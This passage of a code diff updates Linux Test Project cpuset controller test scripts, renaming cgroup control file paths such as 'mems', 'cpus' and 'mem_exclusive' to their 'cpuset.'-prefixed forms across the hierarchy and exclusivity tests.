-	echo 0 > "$CPUSET/father/child/mem_exclusive" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
 
-	test 0 = $(cat "$CPUSET/father/child/mem_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.mem_exclusive") || return 1
 }
 
 test11()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo 0 > "$CPUSET/father/child/mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
 
-	test 0 = $(cat "$CPUSET/father/child/mem_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.mem_exclusive") || return 1
 }
 
 test12()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
 
-	test 1 = $(cat "$CPUSET/father/child/mem_exclusive") || return 1
+	test 1 = $(cat "$CPUSET/father/child/cpuset.mem_exclusive") || return 1
 }
 
 test13()
 {
-	echo 0 > "$CPUSET/father/mem_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" 2> /dev/null && return 1
+	echo 0 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" 2> /dev/null && return 1
 
-	test 0 = $(cat "$CPUSET/father/child/mem_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.mem_exclusive") || return 1
 }
 
 test14()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" || return 1
-	echo 0 > "$CPUSET/father/mem_exclusive" 2> /dev/null && return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mem_exclusive" 2> /dev/null && return 1
 
-	test 1 = $(cat "$CPUSET/father/mem_exclusive") || return 1
+	test 1 = $(cat "$CPUSET/father/cpuset.mem_exclusive") || return 1
 }
 
 test15()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo 1 > "$CPUSET/father/other/mems" || return 1
+	echo 1 > "$CPUSET/father/other/cpuset.mems" || return 1
 
-	test 0 = $(cat "$CPUSET/father/child/mems") || return 1
-	test 1 = $(cat "$CPUSET/father/other/mems") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.mems") || return 1
+	test 1 = $(cat "$CPUSET/father/other/cpuset.mems") || return 1
 }
 
 test16()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo "0-1" > "$CPUSET/father/other/mems" 2> /dev/null && return 1
+	echo "0-1" > "$CPUSET/father/other/cpuset.mems" 2> /dev/null && return 1
 
-	test 0 = $(cat "$CPUSET/father/child/mems") || return 1
-	test -z $(cat "$CPUSET/father/other/mems") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.mems") || return 1
+	test -z $(cat "$CPUSET/father/other/cpuset.mems") || return 1
 }
 
 test17()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo 1 > "$CPUSET/father/other/mems" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" || return 1
+	echo 1 > "$CPUSET/father/other/cpuset.mems" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" || return 1
 
-	test 1 = $(cat "$CPUSET/father/child/mem_exclusive") || return 1
+	test 1 = $(cat "$CPUSET/father/child/cpuset.mem_exclusive") || return 1
 }
 
 test18()
 {
-	echo 1 > "$CPUSET/father/mem_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo 1 > "$CPUSET/father/cpuset.mem_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo "0-1" > "$CPUSET/father/other/mems" || return 1
-	echo 1 > "$CPUSET/father/child/mem_exclusive" 2> /dev/null && return 1
+	echo "0-1" > "$CPUSET/father/other/cpuset.mems" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mem_exclusive" 2> /dev/null && return 1
 
-	test 0 = $(cat "$CPUSET/father/child/mem_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.mem_exclusive") || return 1
 }
 
 for i in $(seq 1 $TST_TOTAL)
diff --git a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
index 2be1329..cc31729 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
@@ -186,19 +186,19 @@
 
 	if [ "$path" != "$CPUSET" ]; then
 		if [ "$cpus" != "-" ]; then
-			/bin/echo $cpus > $path/cpus
+			/bin/echo $cpus > $path/cpuset.cpus
 			if [ $? -ne 0 ]; then
 				return 1
 			fi
 		fi
 
-		/bin/echo $mems > $path/mems
+		/bin/echo $mems > $path/cpuset.mems
 		if [ $? -ne 0 ]; then
 			return 1
 		fi
 	fi
 
-	/bin/echo $load_balance > $path/sched_load_balance
+	/bin/echo $load_balance > $path/cpuset.sched_load_balance
 	if [ $? -ne 0 ]; then
 		return 1
 	fi
diff --git a/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/cpuset_hierarchy_test.sh b/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/cpuset_hierarchy_test.sh
index 61f58fc..6b0a7e1 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/cpuset_hierarchy_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/cpuset_hierarchy_test.sh
@@ -42,404 +42,404 @@
 
 test1()
 {
-	echo > "$CPUSET/father/cpus" || return 1
-	echo > "$CPUSET/father/child/cpus" || return 1
+	echo > "$CPUSET/father/cpuset.cpus" || return 1
+	echo > "$CPUSET/father/child/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test -z "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test2()
 {
-	echo > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" 2> /dev/null && return 1
+	echo > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" 2> /dev/null && return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test -z "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test3()
 {
-	echo 0 > "$CPUSET/father/cpus" || return 1
-	echo > "$CPUSET/father/child/cpus" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" || return 1
+	echo > "$CPUSET/father/child/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test 0 = "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test4()
 {
-	echo 0 > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test 0 = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test5()
 {
-	echo 0 > "$CPUSET/father/cpus" || return 1
-	echo 1 > "$CPUSET/father/child/cpus" 2> /dev/null && return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpus" 2> /dev/null && return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test 0 = "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test6()
 {
-	echo 0 > "$CPUSET/father/cpus" || return 1
-	echo 0,1 > "$CPUSET/father/child/cpus" 2> /dev/null && return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0,1 > "$CPUSET/father/child/cpuset.cpus" 2> /dev/null && return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test 0 = "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test7()
 {
-	echo "0,1" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-1" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test8()
 {
-	echo "0,1" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-1" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test9()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo > "$CPUSET/father/child/cpus" || return 1
-	echo > "$CPUSET/father/cpus" || return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo > "$CPUSET/father/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test -z "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test10()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
-	echo > "$CPUSET/father/cpus" 2> /dev/null && return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo > "$CPUSET/father/cpuset.cpus" 2> /dev/null && return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-$((nr_cpus-1))" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-$((nr_cpus-1))" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test11()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo > "$CPUSET/father/child/cpus" || return 1
-	echo 0 > "$CPUSET/father/cpus" || return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test 0 = "$(cat "$CPUSET/father/cpus")" || return 1
-	test -z "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test12()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
-	echo 0 > "$CPUSET/father/cpus" || return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test 0 = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test13()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo 1 > "$CPUSET/father/child/cpus" || return 1
-	echo 0 > "$CPUSET/father/cpus" 2> /dev/null && return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" 2> /dev/null && return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-$((nr_cpus-1))" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 1 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-$((nr_cpus-1))" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 1 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test14()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo 0,1 > "$CPUSET/father/child/cpus" || return 1
-	echo 0 > "$CPUSET/father/cpus" 2> /dev/null && return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0,1 > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpus" 2> /dev/null && return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-$((nr_cpus-1))" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test "0-1" = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-$((nr_cpus-1))" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test15()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
-	echo "0,1" > "$CPUSET/father/cpus" || return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-1" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 test16()
 {
-	echo "$cpus_all" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
-	echo "0,1" > "$CPUSET/father/cpus" || return 1
+	echo "$cpus_all" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.cpus" || return 1
 
-	cpuset_log "father cpus $(cat "$CPUSET/father/cpus")"
-	cpuset_log "child cpus $(cat "$CPUSET/father/child/cpus")"
+	cpuset_log "father cpuset.cpus $(cat "$CPUSET/father/cpuset.cpus")"
+	cpuset_log "child cpuset.cpus $(cat "$CPUSET/father/child/cpuset.cpus")"
 
-	test "0-1" = "$(cat "$CPUSET/father/cpus")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/cpus")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.cpus")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.cpus")" || return 1
 }
 
 ## test mems
 
 test17()
 {
-	echo > "$CPUSET/father/mems" || return 1
-	echo > "$CPUSET/father/child/mems" || return 1
+	echo > "$CPUSET/father/cpuset.mems" || return 1
+	echo > "$CPUSET/father/child/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test -z "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test -z "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test18()
 {
-	echo > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" 2> /dev/null && return 1
+	echo > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" 2> /dev/null && return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test -z "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test -z "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test19()
 {
-	echo 0 > "$CPUSET/father/mems" || return 1
-	echo > "$CPUSET/father/child/mems" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" || return 1
+	echo > "$CPUSET/father/child/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test 0 = "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test20()
 {
-	echo 0 > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test 0 = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test21()
 {
-	echo 0 > "$CPUSET/father/mems" || return 1
-	echo 1 > "$CPUSET/father/child/mems" 2> /dev/null && return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mems" 2> /dev/null && return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test 0 = "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test22()
 {
-	echo 0 > "$CPUSET/father/mems" || return 1
-	echo 0,1 > "$CPUSET/father/child/mems" 2> /dev/null && return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0,1 > "$CPUSET/father/child/cpuset.mems" 2> /dev/null && return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test 0 = "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test23()
 {
-	echo "0,1" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-1" = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test24()
 {
-	echo "0,1" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-1" = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test25()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo > "$CPUSET/father/child/mems" || return 1
-	echo > "$CPUSET/father/mems" || return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
